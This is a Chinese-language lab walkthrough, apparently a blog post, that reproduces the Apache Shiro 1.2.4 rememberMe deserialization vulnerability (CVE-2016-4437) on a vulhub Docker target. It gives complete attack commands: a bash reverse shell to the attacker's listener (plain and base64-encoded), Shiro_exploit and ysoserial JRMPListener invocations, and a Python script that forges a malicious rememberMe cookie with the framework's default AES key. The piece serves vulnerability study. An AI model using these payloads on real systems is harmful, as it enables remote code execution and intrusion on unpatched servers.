靶机IP(Ubuntu):192.168.43.185

攻击IP(kali):192.168.43.37

一、docker环境搭建

打开vulhub靶机,目录定位到vulhub-master/shiro/CVE-2016-4437目录下

并使用docker-compose builddocker-compose up -d建立并启动docker

查看靶机内网地址:192.168.43.185

浏览器访问http://192.168.43.185:8080

二、使用Shiro_exploit进行漏洞利用

1.使用Shiro_exploit检测是否存在shiro漏洞

项目地址:https://github.com/insightglacier/Shiro_exploit

使用命令

python shiro_exploit.py -u http://192.168.43.185:8080

vulnerable:True表示存在shiro漏洞

2.使用Shiro_exploit进行反弹shell利用

kali监听2222端口

nc -lvp 2222

3.对反弹shell命令进行加密利用

命令加密可用网站http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.43.37/2222 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i} //加密后

结合poc的-p参数进行漏洞利用

python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash加密命令"
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"

2222端口监听到反弹过来的shell

三、利用ysoserial复现漏洞

1.ysoserial工具

ysoserial 集合了各种java反序列化payload的反序列化工具

下载:https://github.com/frohoff/ysoserial

因为ysoserial是一个Java项目,它需要本地配置mvn环境(全称Maven,是基于项目对象模型的软件项目管理工具)依据Java项目的pom.xml文件自动化配置获取jar包,所以本地需要Java与mvn环境

使用mvn clean package -DskipTests命令打包项目

生成完工具之后放到kali攻击机上使用

验证目标是否搭建shiro,在前端登录界面抓登录包,用burp查看响应包是否存在rememberMe=deleteMe字段

2.使用ysoserial进行反弹shell利用

kali监听2222端口

同时另开终端执行反弹shell的Java监听命令(ysoserial.exploit.JRMPListener监听6666端口):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}'

(注:bash加密命令前的CommonsCollections后面数字要写5,网上的payload都写CommonsCollections4,可能是Java环境问题,CommonsCollections4一直反弹不到shell,只在Java端口监听到会话,联想到前面使用Shiro_exploit的时候,会使用CommonsCollections1,2,3,4,5等各种方式进行测试,所以尝试更改了CommonsCollections就有效果了)

将以下生成cookie的poc代码命名为shiro.py放到target目录下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

以python2执行命令:

python shiro.py 攻击者IP:攻击者监听的java端口

在前端页面抓一个勾选remember me的数据包

将生成的cookie复制到数据包中

重放之后在Java监听端可看到会话

同时在2222端口可监听到反弹回来的shell

四、使用一键利用工具复现

一键利用工具

项目地址:

https://github.com/feihong-cs/ShiroExploit/releases/tag/v2.3

选择好对应的 shiro550,填入靶场地址,下一步

选择dnslog.cn进行检测(ceye.io会慢)

在下方对话框出现Find Valid Gadget的时候,就可以执行反弹shell了

复现Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)的更多相关文章

  1. Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d ...

  2. 【漏洞复现】Shiro<=1.2.4反序列化漏洞

    0x01 概述 Shiro简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,您可以快速.轻松地获得任何应用程序,从 ...

  3. Apache Shiro<=1.2.4反序列化RCE漏洞

    介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...

  4. JAVA反序列化漏洞复现

    目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...

  5. .NET高级代码审计(第五课) .NET Remoting反序列化漏洞

    0x00 前言 最近几天国外安全研究员Soroush Dalili (@irsdl)公布了.NET Remoting应用程序可能存在反序列化安全风险,当服务端使用HTTP信道中的SoapServerF ...

  6. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  7. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  8. Shiro RememberMe 1.2.4 反序列化漏洞复现

    目录 原理解释 环境搭建 复现过程 原理解释   Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.   shiro默认使用了CookieRememberMeMana ...

  9. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

随机推荐

  1. 【译】Rust宏:教程与示例(二)

    原文标题:Macros in Rust: A tutorial with examples 原文链接:https://blog.logrocket.com/macros-in-rust-a-tutor ...

  2. 三分钟教你提升应用推送的ROI

    推送是App应用性价比最高也是最直接的营销运营手段,其细节颇多,非常考验运营人员的功力,本文将从ROI角度来分析怎么提升营销类推送的收益.(非IM类.系统类等功能服务型推送) 以一个日活100万的应用 ...

  3. Python字典与集合

    一 字典创建.访问.添加.删除.修改.内建函数.内建方法 创建,列表不能作为键,因为键不能变?字典也不能作为键 dict1 = {} dict2 = {'name':'qq','sex':'male' ...

  4. 基金 A 类和 C 类、ETF、LOF、QDII 到底是啥?

    ETF 对于初入股市的新手来说,买了一只公司股票容易,想买一个行业的股票就不是很容易了. 比如你要懂得行业里都有谁,每个公司分配多少钱,最主要股票交易最少要交易 1 手也就是 100 股,要是想配置一 ...

  5. 痞子衡嵌入式:盘点国内MCU级RISC-V内核IP厂商

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是国内MCU级RISC-V内核IP厂商. 自RISC-V指令集2010年诞生以来,业界普遍认为,RISC-V将会改变现有的由Arm和Int ...

  6. IPFS挖矿必须要托管吗?

    IPFS 本质上只是一个人人使用的协议,而 Filecoin 是 IPFS 的激励层,大家平时说的 IPFS 挖矿,其实就是挖 Filecoin.而提到IPFS 就不得不说到矿机托管的问题. 点击了解 ...

  7. c++ 反汇编 循环结构

    debug do···while 23: int nSum = 0; 00A572AE C7 45 F8 00 00 00 00 mov dword ptr [nSum],0 24: int nInd ...

  8. 12、django.urls.exceptions.NoReverseMatch:

    问题: django.urls.exceptions.NoReverseMatch: Reverse for 'project_star' with keyword arguments '{'proj ...

  9. 热更新基础--AssetBundle学习笔记

    一.简介 AssetBundle简称AB包,特定平台的资产压缩包(包括模型.贴图.预设体.音效.材质球等资产). 作用:Resources下的资源只读且打包后不可修改,而AB包存储位置自定,后期可以动 ...

  10. ffmpeg第五篇:让水印图片旋转起来

    这篇把上次挖的坑填上 ffmpeg正式篇的上一篇(传送门)说了,这一篇要让水印旋转起来,但是后面有事情一直没有时间搞,今天,它来了............ 如果想实现旋转的功能,需要使用ffmpeg过 ...